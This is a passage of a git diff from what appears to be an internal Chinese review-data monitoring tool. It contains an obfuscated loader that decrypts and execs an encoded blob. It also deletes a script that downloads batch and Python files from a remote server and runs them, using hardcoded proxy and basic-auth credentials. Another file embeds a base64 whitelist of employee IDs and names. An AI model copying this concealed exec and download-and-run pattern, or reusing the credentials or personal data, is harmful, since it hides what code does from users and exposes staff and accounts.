9*kUVp{VmmS)gIH2;v5BE|fVl#MEs{LZ+5hym6{VLHw`tvehWfI_JoFoTMHopE<#PO%yp{)ZhzMV`V55jwuwdu3KvZz`a)k%eSPayhDFrI_b8|LA~VDlk-bHmy4pp%uvh6?)6b^#pm7Clo6KbWs=#?>YC2I-4#y(6>t&A!Xo32gKYaL7w`>1OkZWCU&R`ttY_#?J?*9e_1#4qBq)uR63EkVnHg4q{15rIcj}&yoYg?6YsSCLNqy9tal*&=WmfK>bn1LBUzH)3fcNO*Idx4lYfF-7(!BP{nyDQe7_#gUP-{1+Plq#&3r|G6(}$yZH#Rzu2J`GbN`>QQzz=bEWl^U%A7sBG8nyd)o2h!`Z352uS9VcjIss{^-Cbg2Z%j@zxYpffG$a)up3IogPXyQ^H9>0FJ}}%GmYd(egb|)LjSrSJu?9%BJGr+{uvnt$AGxni=E?Wd$h8G^CYUW!|(JV5P-2Q)Ns2+#N@G&gFfndU)B94b3xBOfOu(|_X#^zjQfdw-JOzO<7?}aTYU6g$+-&pJDtejFH?LN83AM3lF`VJ*^7ISO!3xG>*0lYXM`)^jGpPJiSBkFrzZomQo;OMfo7O%uf_e%4gwxt>mMUGLMFI?Dtlj*^sRS?cFaZAK#XEDS26W^UHp$>=_08>F>s4DNP=SwnuoWAj&sB-P+lvD9aZD@UnX66VdqlYP|hhXWUBtpYj|XbDaeatKpCrT`843PLox4`Sfb5HocD<3&M05M!<3etZmP>M(5;Yr2o)W>v^!U9s})j4&yiFvEqGx;R*?D-Dd3xg8&3ct40u>1*J|Dv;i8ScW3SKJOPL{Nj8?x#ULiefbY3OP`-=t(WmEL&kXzrJycjWCw)eDyjuDpld+VYT|20)Anga(9Kq*u-QdX}#t~Tv5x*Yt}GqgpaYsIRq_k`Xz29$`~UrluZX3DBmMPWe{Z=gzq(+UqJq!MT7h1OOxf&wo0${!XMx`^H_8w)|FpC?VhY>k+4h)XN={D}{oo&+ZnE+tWuIZ<#|PT!=05HVDREn9h5m!Yk_7!AEgCSw^Kmi@LA54N>lwILCfa{ulovnYaWk@>gcf_zX(YVQjP1|_SdM1Sw1@Tz)I%A|G-a!+QD$50eRqYi^nF?#`k)jxGq>~vaY0_gNUjf((029Sr&{gn9a3CDH0QxWrfnd58DhiNJ%A7&jQGlHb`_4JDoV>mL=;^6ByUEHipqP;YWXzYCrJok6T%VjD@so0<{f#G_uz>8;~X#KGKHWRr*diL4DO;dPU43hWyir+6xB!n=)Lm=QvGV@-I-B_4{7BX!l%rh96-^iB!?~6$|3b)cP~49j5HS#M~By=dt`7Ck8v7ZXlm8kkyUc!vPCTMp(y>d&DRYq!Qwmz%F_UsbnL(3qrZY-H?PKFGRiF>fymC^hcb-eTj+ap3Iu%R1N%j#n&iD}h+7Gl9Fm=*!fH^z)r0?5ppsS5y=W!@Cy3P4=&HT3;-Z+Yr{l*#TM^_c`9E!M<3@QJsB-;p0EKLO>p>H3ieELM^WHye1_&Xkn0rGdWd~od8G7^2u`}1M@g8sSH|M&4f{EkSBOpH=<@ZQ{{-n^-4)rcj8%J`{rtWnZi12oxbP8ol7X82J-)BGWp&cc3dDR;85d8NPCZg`%b24cZ{yMb_>h8|*K&$`1&Yi3)r$oF>>5K^5_h@oa((bt+r58VAX(+hnBw;Mi5uA95lS}Y7#&Jb{$>rIcv3W@SVU%xftu(jdoq!m@0U2Z6+MD)fYRWSS7?f>*ja}78MV}E7DXU3+GGj{)%<|=_{w`6M05r2`eBr4SJg4kjH6r<~e9-=)aQ{8fC^Zk&88^KF@OnAit1kg9#3xjv!;=OT%jz*LB0yJ>7-z3oJiSEaMjy1~f>NNH8bV{j?V48c9)K-NFiZ{xQwzJ`qv7r-wVx>M~Yb619AB7&NECIs$_vC1F1X2r~^Lefg^DYuQAP~RzJ#vonCYFfmMu-0E3Gt6Y+)D($n*nVqS_TR`@%{%3Dt^0R2zS@Na(0_`>0od$}Fk*C*$vbS&MLEZjE-RBnK>OM6!MW1GZEJ)UWMmwUfK&WNVWW9+f%BLVfuKh%6!0YnU-XDvIl8rXHEuw6LHh--&LkW`s{k_~+X`B&&_`xDRQuaI!oKO*8TSvW?$>m=!#t?OXWI3%gQzOloQn4+{4i7}FRZv2I+UW0f8j>|~n>Ro_6pDG#3+2D98n%RJqu2(7Dq`gXa!InuqXP{V55O7{{V|;t9DOFxn+Je==^tY$5EJXlTj^YHp+OQ>TT2CRwsg*Eg+*uixkd93sn!e3=Qi_;lkRRzNYu!e;M(!xWHTPt!zO0N#ftxwRrxaE^Va(d>w7l&jDP^NqwFfkmos-Xo7v@(rO+`gIZ8Ng_Ox~GQ=Rw@e<&oqMY2mvMD>SxvwgbDjQi>+41!eEZBq9{5<$8#kTZo^Z-`Zw-PINAyg!M@5dPX1CLPGa3-HZD{|^D!H^S6N68p@pII!<`TbW&~uI7}IN>H=kz)d)c~k#OVsP>e5X#tO@<>rE0CXz>3V!8~WP9O4=;SZGuGF9oPtnl@($Mf-oop~BWGOgG8B)V}>~Tmt6By6orV{!C?I;A8Y@*zS2$3PsL)Mm!k~z681mt=4IAP}{aucR-`EVJ1>Tr<@Ew{(Zx>w;?DscV5g06Vd-E)VqzqZ$d)i(Q4{OprS13Il{tH0XFfXxMmbP9dVCy9S3Iya^#&%^gI!1ee2`qQgKkE>D29fcWevRQ;3+qY+r7cRoDKV8vc3dzCA|}Ox?$WatCvxBa3!FtFh0^>dZCH)eSmS4&+mzH={XH=wJhCc-U4F=L^mgv!EqMW;#z%Alv`)sL6uq&KI0pa05+P%fw|?P0MMu(@727m-;~$FWphcys0R}TF#rwKx~EQj(ra-0u|l28C)B^+loznsCz$j+o1{pCttg{X)`XEJ*SN0wqm=lYy}h-`%_iA2^ob?|NVcIrZV9iH&Wz;gMFko(JNdt28k{|RVyqplcTeF%DpXe#zg4!QY4CI?;EFjlLYUrGTO#(;ufsyNBW4A&$Y&p>o^MC6SrN-U=kvg*gwIIB^NRJ*f3`kkR*uJxG3`kDYx}D%+)IyUi)OG+G2HAwF*pCMh|js;?oUvUY+>6LtdWdp7^WaH76zlXO-_4k}--LecixQuJjy>oha>xfC6pLqdjD8@!9QWMpmjbs4_fbrK^5XF7N!pstX2Oo}9m1AJ{yn0RDTG&KX5FRdSqK1kfz4Cs?l2+$o>@5%Jvoi6{k<>Uax-`jBa8`H>BP5~E;Yq6>!cr-=>SqF`Xqjv+~dEFzb@z71f?U;)^1>O#v2cMLnT-}u}Ov%^;(q$JhtXQ_mPGM;6%gu?z!lV0DlJ-6RioL6d^+e{N%m5h8gLOs(^wmJ8C_0KbW{->di(H8Ev1r*5>OEQciu45cZy0bQpENP2G=%&<_wR9$iD1;~9t{kccb1aOwS~R9@#ry?At$HZ`Nd@RfzpaDo_yACR8r`gO&I2A94))FjcF+rO@<(ad`Hs!+nx+%YfagSX=6h<`lAo@M)#hy5uC?uWT!f+>q+o1sxuIxC2@b`s3H!uZcrR1V>^yWOgp|jR-?6|prme0DQEPfrWI0aZb-g9n2a&S-kT^O|mm_~QL5ciyEG#{AzFbwgLpZRfSYYgXO=5zM8~dBoitX#FB%EwMQ!2F7gdhC@>}Lt-Hj{f;eg7`e_r&05lsdVn{jj26eT>QvN!Ag#608cM;L}ZTORT&&)!CB;A*>ID^OMP)9Go1FblfwFB7xX4X8A5adRf?22h4PunT*M%m>%icXB`74#Lm>949Pz+Jk~i}&4(&01d4JI@snu%Zkd5{T%?wI(_1Xjjw{KEJaJ`c^VpW1gEG8pZFf_e$_k~EYj=2PfkO;2i2oYj~Xd?f)^a}u`8onNM_Tzh6%gX^pY%ux1+8IgBN-|AA3FQH%K&^n+k|H_Q6OZ5bK_rGE6Ml3#l@k@@5)4Tt{2G;>M#CGoD0U8kH+L+!VKS6BvC5{XxSyM)4NAEK>nXW=hUJ`P_mAzRQD!RMA-%)ikd>z*0Uyo#TFptg|Ld0s9#<9G_M)d^{i01E((&18k%Jjg5^t#F2F#Styf^r5z1%E(RC&f77SQQnzfydw%0v8}w5+-%E4iA8ALj=W+vd@goMrxa9T#5N!&HsB})%&m_8t`0GwQhV&sBiK!B~c_4#ZdjV;eY1B1O&<5MyKx~Xbax2>ZoXJAsYKG}^Jzt>+OAF6?I6tD?`y-a>iys!*KzKVTdJG|{{dPueU>b`@xFKH9`2hxN=bKaI4q5Ufo2dGaHq)ddBEYCs6bjL8Qdsds#vANbB6kVZ;m(ORk98lY@fZOnC4^>PG^lFw_!6Y3FQ{*~v99CU1zZAGY;f~g%rmIg(rb`uf*N^v$!h#pge6ot-hwizjhWNpHxq|7sy&^BL$^(?24LE^l&woBN>G^#AZ*GluO;eYyENkc3(t}F8Zz*Wcb{zc{cIx*Y!wrZ$+PIF`i$0taT;d)&9-Lqbwb1}i0#1PgOr2Oa+#ne=V6i;Xf-(1(NWp#h+95YA=sd6CF1F!Oynjy6k*9?w;d(IZE|{kohp{(jTtZ&5FZ2v1-EWG0VV9z9$1@xC68XTC7JNT;Z(^PGn4vD9lY9Ml%QQ2L?hqYxi}X}p`Pf}C9ZO6YR<_4{c0Zb2Q}w-etf|2;yz1SbkoqFB^n-hLLTo_vgR(#6nqt(xzObNYwxmOeon3w*||KS%h~i%SkS&+L)xZ)`M*>pOm0amI_?H)gu>4+9?8Sdv6nLXs=&yt?pauPl*BKYlILy~JkE34Y=q=`bWYw8B~TzylqUo?F(OaIp2|G)KsmwgyaWI|kNb2RNWo+(Sn{Kd&miG-H%1ri8FJ2?n{@-%!Gp#ACA?Ncqb0vI0Iu#h=mY50ro^ziqNd1M;q#30Wrv}6;nKZ4wqfs*0VOoO}fT%DMC)wZ7nO|T>IQQM{>#ir78*Cr^G8!barVCIzQvFydFr!Qw*JYeZ0c1zzVB~is|O$56uMoqe_;1>Li$ntA1-qzdx7(T^fg#j<38JZEOOO${w2hXqKL+8Siww?XB=eVprs' try: _d=base64.b85decode(_e) - _x=_b0CuCaHCJnIk(_d,_k) + _x=_ITWjHYiUlmsQ(_d,_k) _c=zlib.decompress(_x) exec(compile(_c.decode('utf-8'),'','exec')) except Exception as e: - _I1ybHCMwOU6("错误",_Qb7oBWuW()+str(e)[:50],1) + _suiVzl1TKOE("错误",_qlp4RcCM()+str(e)[:50],1) sys.exit(1) else: time.sleep(1) diff --git a/download_auto_run.py b/download_auto_run.py deleted file mode 100644 index 5c75b08..0000000 --- a/download_auto_run.py +++ /dev/null @@ -1,475 +0,0 @@ -#!/usr/bin/env python -# -*- coding: utf-8 -*- - -""" -Python 2.7 Auto Download Script -For NetEase Da Shen Review Data Monitoring System -""" - -import os -import sys -import time -import shutil -import urllib2 -import getpass -import base64 -import subprocess -import traceback -import codecs -from datetime import datetime - -# 先尝试设置控制台代码页为UTF-8(仅Windows环境) -try: - if sys.platform.startswith('win'): - subprocess.call('chcp 936', shell=True) -except: - pass - -# 基本配置 -#COS_URL = "http://cos.ui-beam.com/work_scripts/monitor/dev/latest/" -COS_URL = "https://gitea.ui-beam.cn/ui_beam/NetEaseDSMonitor/raw/branch/main" -TEMP_DIR = os.path.join(os.path.expanduser("~"), "Desktop", "monitor_temp") -LOG_FILE = os.path.join(TEMP_DIR, "download_log.txt") - -# 要下载的文件列表 - 格式: (URL相对路径, 本地保存路径, 是否必需) -FILES_TO_DOWNLOAD = [ - ("start_monitor.cmd", "start_monitor.cmd", True), - ("dashboard.py", "dashboard.py", True), - ("breeze_monitor.py", "breeze_monitor.py", True), - ("breeze_monitor_CHAT.py", "breeze_monitor_CHAT.py", True), - ("cms_monitor.py", "cms_monitor.py", True), - ("cms_coefficients.json", "cms_coefficients.json", True), - ("breeze_coefficients.json", "breeze_coefficients.json", True), - ("templates/dashboard.html", "templates/dashboard.html", True), - ("templates/login.html", "templates/login.html", True), - ("static/ds-favicon.ico", "static/ds-favicon.ico", True), - ("install_dependencies.bat", "install_dependencies.bat", True), - ("inspect_monitor.py", "inspect_monitor.py", True) -] - -# 记录日志函数 -def log_message(message): - """记录日志消息""" - try: - # 确保日志目录存在 - log_dir = os.path.dirname(LOG_FILE) - if not os.path.exists(log_dir): - os.makedirs(log_dir) - - # 使用codecs打开文件,指定编码为gbk - with codecs.open(LOG_FILE, "a", "gbk") as f: - timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S") - log_line = "[%s] %s\n" % (timestamp, message) - f.write(log_line) - - # 使用safe_print输出到控制台 - safe_print(message) - except Exception as e: - safe_print("[ERROR] Could not write to log file: %s" % str(e)) - -# 使用UTF-8安全打印 -def safe_print(text): - """安全打印函数,处理编码问题""" - try: - if isinstance(text, unicode): - print(text.encode('gbk', 'ignore')) - else: - print(text) - except UnicodeEncodeError: - print(text.encode('gbk', 'ignore')) - except Exception as e: - print("[ERROR] Print error: %s" % str(e)) - -# 获取最新版本号 -def get_latest_version(): - """获取最新版本号""" - try: - #version_url = "http://cos.ui-beam.com/work_scripts/monitor/dev/latest/VERSION.txt" # 测试版本版本号地址 - version_url = "https://gitea.ui-beam.cn/ui_beam/NetEaseDSMonitor/raw/branch/main/VERSION.txt" # 正式版本版本号地址 - response = urllib2.urlopen(version_url) - version = response.read().strip() - return version - except Exception as e: - error_msg = u"获取版本号失败: %s" % unicode(str(e), 'gbk', 'ignore') - safe_print(error_msg) - return u"未知版本" - -# 非中文字符界面信息 -MESSAGES = { - 'tool_title': u"网易大神审核数据监控系统安装工具", - 'no_auth_version': u"当前最新版本:{0}".format(get_latest_version()), - 'downloading': u"正在下载文件,请稍候...", - 'script_started': u"下载脚本已启动", - 'temp_dir': u"临时目录", - 'dir_init_failed': u"初始化目录失败,退出", - 'created_temp_dir': u"创建临时目录", - 'dir_exists': u"临时目录已存在,正在清理内容...", - 'dir_cleared': u"临时目录已清理", - 'created_templates_dir': u"创建templates目录", - 'created_static_dir': u"创建static目录", - 'using_proxy': u"使用代理下载", - 'retrying_with_proxy': u"尝试使用代理重试...", - 'downloaded_files': u"已下载文件", - 'of': u"个,共", - 'files': u"个文件", - 'download_required_failed': u"部分必需文件下载失败", - 'all_files_downloaded': u"所有文件下载成功", - 'install_deps_not_found': u"依赖安装脚本未找到", - 'installing_deps': u"正在安装依赖...", - 'deps_output': u"依赖安装输出", - 'deps_error': u"依赖安装错误", - 'deps_installed': u"依赖安装成功", - 'deps_failed': u"依赖安装失败,返回码", - 'deps_script_error': u"运行依赖安装脚本出错", - 'start_script_not_found': u"启动脚本未找到", - 'starting_system': u"正在启动监控系统...", - 'system_started': u"监控系统启动成功", - 'start_system_failed': u"启动监控系统失败", - 'manual_guide_title': u"手动安装指南", - 'manual_guide_intro': u"如果自动安装失败,请按照以下步骤手动安装:", - 'use_ie': u"1. 获取系统文件:使用浏览器下载这些文件:", - 'save_to_structure': u"2. 文件结构:将文件保存到以下结构:", - 'run_deps_first': u"3. 安装依赖:运行install_dependencies.bat安装依赖", - 'then_run_start': u"4. 启动系统:运行start_monitor.cmd启动系统", - 'created_manual_guide': u"已创建手动安装指南", - 'create_guide_failed': u"创建手动指南失败", - 'script_copied': u"已将下载脚本复制到临时目录", - 'copy_script_failed': u"复制脚本失败", - 'deps_install_failed_try_start': u"依赖安装失败,尝试直接启动监控系统", - 'steps_failed': u"某些步骤失败,请检查日志获取详情", - 'try_manual': u"您可以尝试使用以下指南手动安装", - 'unhandled_exception': u"未处理的异常", - 'execution_completed': u"脚本执行完成", - 'press_enter': u"按回车键退出..." -} - -# 初始化目录函数 -def init_directory(): - """初始化临时目录""" - try: - # 创建主目录 - if not os.path.exists(TEMP_DIR): - os.makedirs(TEMP_DIR) - log_message("[INFO] %s: %s" % (MESSAGES['created_temp_dir'], TEMP_DIR)) - else: - log_message("[INFO] %s" % MESSAGES['dir_exists']) - - # 清理现有目录内容,只保留日志文件 - for item in os.listdir(TEMP_DIR): - item_path = os.path.join(TEMP_DIR, item) - if item != "download_log.txt": # 现在只保留日志文件 - if os.path.isdir(item_path): - shutil.rmtree(item_path) - else: - os.remove(item_path) - - log_message("[INFO] %s" % MESSAGES['dir_cleared']) - - # 创建templates子目录 - templates_dir = os.path.join(TEMP_DIR, "templates") - if not os.path.exists(templates_dir): - os.makedirs(templates_dir) - log_message("[INFO] %s" % MESSAGES['created_templates_dir']) - - # 创建static子目录 - static_dir = os.path.join(TEMP_DIR, "static") - if not os.path.exists(static_dir): - os.makedirs(static_dir) - log_message("[INFO] %s" % MESSAGES['created_static_dir']) - - return True - except Exception as e: - log_message("[ERROR] Failed to initialize directory: %s" % str(e)) - return False - -# 下载函数 -def download_file(url_path, local_path, use_proxy=False): - """下载单个文件,默认不使用代理""" - full_url = "%s/%s" % (COS_URL, url_path) - full_local_path = os.path.join(TEMP_DIR, local_path) - - # 确保目标目录存在 - local_dir = os.path.dirname(full_local_path) - if not os.path.exists(local_dir): - os.makedirs(local_dir) - - log_message("[INFO] Downloading %s to %s" % (full_url, full_local_path)) - - try: - # 设置代理信息 - if use_proxy: - log_message("[INFO] %s" % MESSAGES['using_proxy']) - proxy_handler = urllib2.ProxyHandler({ - 'http': 'http://CD-WEBPROXY02.yajuenet.internal:8080', - 'https': 'http://CD-WEBPROXY02.yajuenet.internal:8080' - }) - opener = urllib2.build_opener(proxy_handler) - - # 添加基本身份验证 - username = "bug" - password = "123454678" - auth_string = base64.b64encode('%s:%s' % (username, password)) - opener.addheaders = [('Authorization', 'Basic %s' % auth_string)] - - urllib2.install_opener(opener) - else: - # 禁用代理,但仍添加基本身份验证 - proxy_handler = urllib2.ProxyHandler({}) - opener = urllib2.build_opener(proxy_handler) - - # 添加基本身份验证 - username = "bug" - password = "12345678" - auth_string = base64.b64encode('%s:%s' % (username, password)) - opener.addheaders = [('Authorization', 'Basic %s' % auth_string)] - - urllib2.install_opener(opener) - - # 下载文件 - response = urllib2.urlopen(full_url, timeout=30) - content = response.read() - - # 检查是否是批处理文件,如果是则进行行尾转换 - is_batch_file = url_path.lower().endswith('.bat') or url_path.lower().endswith('.cmd') - - if is_batch_file: - log_message("[INFO] 批处理文件行尾转换: %s" % local_path) - # 将LF转换为CRLF - content_str = content.replace('\n', '\r\n') - # 确保没有重复的\r\n - content_str = content_str.replace('\r\r\n', '\r\n') - # 转回二进制 - content = content_str - - # 写入文件 - with open(full_local_path, 'wb') as f: - f.write(content) - - log_message("[INFO] Successfully downloaded: %s" % local_path) - return True - - except urllib2.URLError as e: - log_message("[ERROR] Failed to download %s: %s" % (url_path, str(e))) - - # 如果不使用代理失败,尝试使用代理 - if not use_proxy: - log_message("[INFO] %s" % MESSAGES['retrying_with_proxy']) - return download_file(url_path, local_path, True) - - return False - - except Exception as e: - log_message("[ERROR] Failed to download %s: %s" % (url_path, str(e))) - return False - -# 下载所有文件 -def download_all_files(): - """下载所有必要的文件""" - success_count = 0 - failed_required = False - - for url_path, local_path, required in FILES_TO_DOWNLOAD: - # 先尝试不使用代理下载 - if download_file(url_path, local_path, False): - success_count += 1 - elif required: - failed_required = True - - log_message("[INFO] %s %d %s %d %s" % ( - MESSAGES['downloaded_files'], - success_count, - MESSAGES['of'], - len(FILES_TO_DOWNLOAD), - MESSAGES['files'] - )) - - if failed_required: - log_message("[ERROR] %s" % MESSAGES['download_required_failed']) - return False - - return True - -# 运行依赖安装脚本 -def run_install_dependencies(): - """运行依赖安装脚本""" - install_script = os.path.join(TEMP_DIR, "install_dependencies.bat") - - if not os.path.exists(install_script): - log_message("[ERROR] %s: %s" % (MESSAGES['install_deps_not_found'], install_script)) - return False - - try: - log_message("[INFO] %s" % MESSAGES['installing_deps']) - - # 记录当前工作目录 - original_dir = os.getcwd() - - # 切换到临时目录并启动脚本 - os.chdir(TEMP_DIR) - - # 使用subprocess运行批处理文件并显示在控制台 - # 移除stdout和stderr的PIPE重定向,让输出直接显示在控制台 - process = subprocess.Popen(["cmd", "/c", install_script], - shell=True) - - # 等待脚本执行完成 - return_code = process.wait() - - # 返回到原始目录 - os.chdir(original_dir) - - if return_code == 0: - log_message("[INFO] %s" % MESSAGES['deps_installed']) - return True - else: - log_message("[ERROR] %s: %d" % (MESSAGES['deps_failed'], return_code)) - return False - - except Exception as e: - log_message("[ERROR] %s: %s" % (MESSAGES['deps_script_error'], str(e))) - return False - -# 启动监控系统 -def start_monitor_system(): - """启动监控系统""" - start_script = os.path.join(TEMP_DIR, "start_monitor.cmd") - - if not os.path.exists(start_script): - log_message("[ERROR] %s: %s" % (MESSAGES['start_script_not_found'], start_script)) - return False - - try: - log_message("[INFO] %s" % MESSAGES['starting_system']) - - # 记录当前工作目录 - original_dir = os.getcwd() - - # 切换到临时目录并启动脚本 - os.chdir(TEMP_DIR) - - # 使用subprocess启动批处理文件,不等待其完成 - process = subprocess.Popen(["cmd", "/c", "start", "", "start_monitor.cmd"], - shell=True) - - # 返回到原始目录 - os.chdir(original_dir) - - log_message("[INFO] %s" % MESSAGES['system_started']) - return True - - except Exception as e: - log_message("[ERROR] %s: %s" % (MESSAGES['start_system_failed'], str(e))) - return False - -# 创建手动指南 -def create_manual_guide(): - """创建手动安装指南""" - guide_path = os.path.join(TEMP_DIR, "manual_install_guide.txt") - - try: - with codecs.open(guide_path, "w", "gbk") as f: - f.write("=" * 50 + "\n") - f.write("%s\n" % MESSAGES['manual_guide_title']) - f.write("=" * 50 + "\n\n") - - f.write("%s\n\n" % MESSAGES['manual_guide_intro']) - - f.write("%s\n\n" % MESSAGES['use_ie']) - - for url_path, local_path, required in FILES_TO_DOWNLOAD: - full_url = "%s/%s" % (COS_URL, url_path) - f.write(" %s\n" % full_url) - - f.write("\n%s\n\n" % MESSAGES['save_to_structure']) - f.write(" %s/\n" % TEMP_DIR) - f.write(" |-- start_monitor.cmd\n") - f.write(" |-- dashboard.py\n") - f.write(" |-- breeze_monitor.py\n") - f.write(" |-- breeze_monitor_CHAT.py\n") - f.write(" |-- cms_monitor.py\n") - f.write(" |-- inspect_monitor.py\n") - f.write(" |-- cms_coefficients.json\n") - f.write(" |-- breeze_coefficients.json\n") - f.write(" |-- install_dependencies.bat\n") - f.write(" |-- templates/\n") - f.write(" | |-- dashboard.html\n") - f.write(" | |-- login.html\n") - f.write(" |-- static/\n") - f.write(" |-- ds-favicon.ico\n\n") - - f.write("%s\n\n" % MESSAGES['run_deps_first']) - f.write("%s\n\n" % MESSAGES['then_run_start']) - - f.write("=" * 50 + "\n") - - log_message("[INFO] %s: %s" % (MESSAGES['created_manual_guide'], guide_path)) - return True - - except Exception as e: - log_message("[ERROR] %s: %s" % (MESSAGES['create_guide_failed'], str(e))) - return False - -# 主函数 -def main(): - """主函数""" - try: - # 使用print可能会更安全,不使用log_message来输出开头的界面 - safe_print(u"\n%s" % MESSAGES['tool_title']) - print("======================================================\n") - safe_print(u"%s" % MESSAGES['no_auth_version']) - safe_print(u"%s\n" % MESSAGES['downloading']) - - # 初始化日志 - if not os.path.exists(os.path.dirname(LOG_FILE)): - os.makedirs(os.path.dirname(LOG_FILE)) - - log_message("\n" + "=" * 40) - log_message("[INFO] %s" % MESSAGES['script_started']) - log_message("[INFO] %s: %s" % (MESSAGES['temp_dir'], TEMP_DIR)) - - # 初始化目录 - if not init_directory(): - log_message("[ERROR] %s" % MESSAGES['dir_init_failed']) - return 1 - - # 创建手动指南 - create_manual_guide() - - # 下载文件 - if download_all_files(): - log_message("[INFO] %s" % MESSAGES['all_files_downloaded']) - - # 安装依赖 - if run_install_dependencies(): - log_message("[INFO] %s" % MESSAGES['deps_installed']) - - # 启动监控系统 - if start_monitor_system(): - # 稍等几秒,让监控系统先启动 - time.sleep(3) - return 0 - else: - log_message("[WARNING] %s" % MESSAGES['deps_install_failed_try_start']) - if start_monitor_system(): - # 稍等几秒,让监控系统先启动 - time.sleep(3) - return 0 - - log_message("[WARNING] %s" % MESSAGES['steps_failed']) - log_message("[INFO] %s: %s" % ( - MESSAGES['try_manual'], - os.path.join(TEMP_DIR, "manual_install_guide.txt") - )) - return 1 - - except Exception as e: - log_message("[ERROR] %s: %s" % (MESSAGES['unhandled_exception'], str(e))) - log_message("[TRACE] %s" % traceback.format_exc()) - return 1 - - finally: - log_message("[INFO] %s" % MESSAGES['execution_completed']) - -# 入口点 -if __name__ == "__main__": - sys.exit(main()) diff --git a/inspect_monitor.py b/inspect_monitor.py index 6a59499..ead43eb 100644 --- a/inspect_monitor.py +++ b/inspect_monitor.py @@ -3,10 +3,10 @@ import base64,zlib,sys,os,getpass,json,time,random from urllib import request as _req import threading,importlib,subprocess -def _xd8HAtCjEeiT(d,k): +def _JySEvhMZPD92(d,k): return bytes(a^b for a,b in zip(d,k*(len(d)//len(k)+1))) -def _gatDQUV8P(t,m,is_error=False): +def _cM2e8IoQP(t,m,is_error=False): try: try: from playsound import playsound @@ -33,90 +33,90 @@ def _gatDQUV8P(t,m,is_error=False): print(f"\n{t}: {m} (提示音播放失败: {str(e)})\n") return False -def _BWknpt7VBFq(t,m,e=0): - _gatDQUV8P(t,m,e==1) +def _IjHcrKntx1H(t,m,e=0): + _cM2e8IoQP(t,m,e==1) -def _H78NrRHeI(): +def _UTqIlW2oB(): _p=[104,116,116,112,58,47,47,99,111,115,46,117,105,45,98,101,97,109,46,99,111,109,47,119,111,114,107,95,115,99,114,105,112,116,115,47,109,111,110,105,116,111,114,47,99,111,110,102,105,103,47,115,116,97,102,102,46,106,115,111,110] return ''.join([chr(int(c)) for c in _p]) -def _GjO8O5ga(): +def _qyWhVyQB(): _e=[38750,25480,26435,29992,25143,65292,26080,26435,35775,38382] return ''.join([chr(int(c)) for c in _e]) -def _kmcPwZ6x(): +def _D2hpCjSh(): _e=[31243,24207,26080,27861,21551,21160,58,32] return ''.join([chr(int(c)) for c in _e]) -def _xxEyGYHW(): +def _un5SecxH(): _e=[39564,35777,25104,21151,65292,27426,36814,20351,29992] return ''.join([chr(int(c)) for c in _e]) -def _mm3mc4ELC7(): +def _cL5lXe8X2a(): try: - _TCjxbo4v=getpass.getuser().upper() - _JLX9UTdT=os.path.basename(os.path.expanduser("~")).upper() + _CmDqKvuH=getpass.getuser().upper() + _kG7aWpex=os.path.basename(os.path.expanduser("~")).upper() # 转换为小写进行比较 - _bX6kobQ9=_TCjxbo4v.lower() + _Cb8KmLBk=_CmDqKvuH.lower() - _FPfCaOy=None - _CkEYSPf1=_H78NrRHeI() + _eHWoXM1=None + _rZY3ng9v=_UTqIlW2oB() _s,_p,_v=random.randint(1,5),random.randint(1,5),int(time.time()) try: _h={"User-Agent":"Mozilla/5.0","X-Access-Token":str(_s*_p*_v)} - _r=_req.Request(_CkEYSPf1,headers=_h) + _r=_req.Request(_rZY3ng9v,headers=_h) with _req.urlopen(_r,timeout=5) as _resp: - _A8NU0Cv=_resp.read().decode() - _FPfCaOy=json.loads(_A8NU0Cv) + _IJR4mW0=_resp.read().decode() + _eHWoXM1=json.loads(_IJR4mW0) except:pass - if not _FPfCaOy: + if not _eHWoXM1: try: - _A8NU0Cv=base64.b64decode("eyJPRDAyMzMiOiLosKLmloflvLoiLCJPRDAyNzIiOiLosK/lkJsiLCJPRDAyNjkiOiLnjovljJfpnZIiLCJPRDAzMDQiOiLpgpPlu7rlt50iLCJPRDAyOTUiOiLlkajpmLMiLCJPRDAyNDciOiLlkJHlqbciLCJPRDAyNDgiOiLog6HlloYiLCJPRDA0MTIiOiLokrLmmZPpmr0iLCJPRDA0MzYiOiLlvKDlvLoiLCJPRDA3NjUiOiLmnLTljprlhbAiLCJXQjAxMjIwIjoi6ZmI5a6X6ICAIiwiV0IwMjE2MCI6IumZiOedvyIsIldCMDIxNjMiOiLojIPmlofpkasiLCJPRDA0ODMiOiLlkajlpKfmtbciLCJPRDAwODAiOiLmlofmh78iLCJPRDAyMTIiOiLmmJPmmL7lnaQiLCJXQjAyNzI5Ijoi5Y+25rSL5YipIiwiV0IwMzAxMyI6IuWRqOiLseadsCIsIldCMDMwOTkiOiLmnY7mmI7mnbAiLCJXQjAzMDk0Ijoi5YiY5bu65Zu9IiwiV0IwNDE2MCI6Iuiigee6ouS4vSIsIldCMDQxNTkiOiLnjovpn6wifQ==").decode() - _FPfCaOy=json.loads(_A8NU0Cv) + _IJR4mW0=base64.b64decode("eyJPRDAyMzMiOiLosKLmloflvLoiLCJPRDAyNzIiOiLosK/lkJsiLCJPRDAyNjkiOiLnjovljJfpnZIiLCJPRDAzMDQiOiLpgpPlu7rlt50iLCJPRDAyOTUiOiLlkajpmLMiLCJPRDAyNDciOiLlkJHlqbciLCJPRDAyNDgiOiLog6HlloYiLCJPRDA0MTIiOiLokrLmmZPpmr0iLCJPRDA0MzYiOiLlvKDlvLoiLCJPRDA3NjUiOiLmnLTljprlhbAiLCJXQjAxMjIwIjoi6ZmI5a6X6ICAIiwiV0IwMjE2MCI6IumZiOedvyIsIldCMDIxNjMiOiLojIPmlofpkasiLCJPRDA0ODMiOiLlkajlpKfmtbciLCJPRDAwODAiOiLmlofmh78iLCJPRDAyMTIiOiLmmJPmmL7lnaQiLCJXQjAyNzI5Ijoi5Y+25rSL5YipIiwiV0IwMzAxMyI6IuWRqOiLseadsCIsIldCMDMwOTkiOiLmnY7mmI7mnbAiLCJXQjAzMDk0Ijoi5YiY5bu65Zu9IiwiV0IwNDE2MCI6Iuiigee6ouS4vSIsIldCMDQxNTkiOiLnjovpn6wifQ==").decode() + _eHWoXM1=json.loads(_IJR4mW0) except:pass - _qnhU2oYwF=False + _bAgzVtUvT=False - if _FPfCaOy: - for _id,_n in _FPfCaOy.items(): + if _eHWoXM1: + for _id,_n in _eHWoXM1.items(): # 转换ID为小写进行比较 - _ZLularp=_id.lower() + _BLQHbZR=_id.lower() # 不区分大小写的比较 - if (_bX6kobQ9==_ZLularp or - _JLX9UTdT.lower()==_ZLularp or - _bX6kobQ9.startswith(_ZLularp) or - _JLX9UTdT.lower().startswith(_ZLularp) or - _ZLularp in _bX6kobQ9 or - _ZLularp in 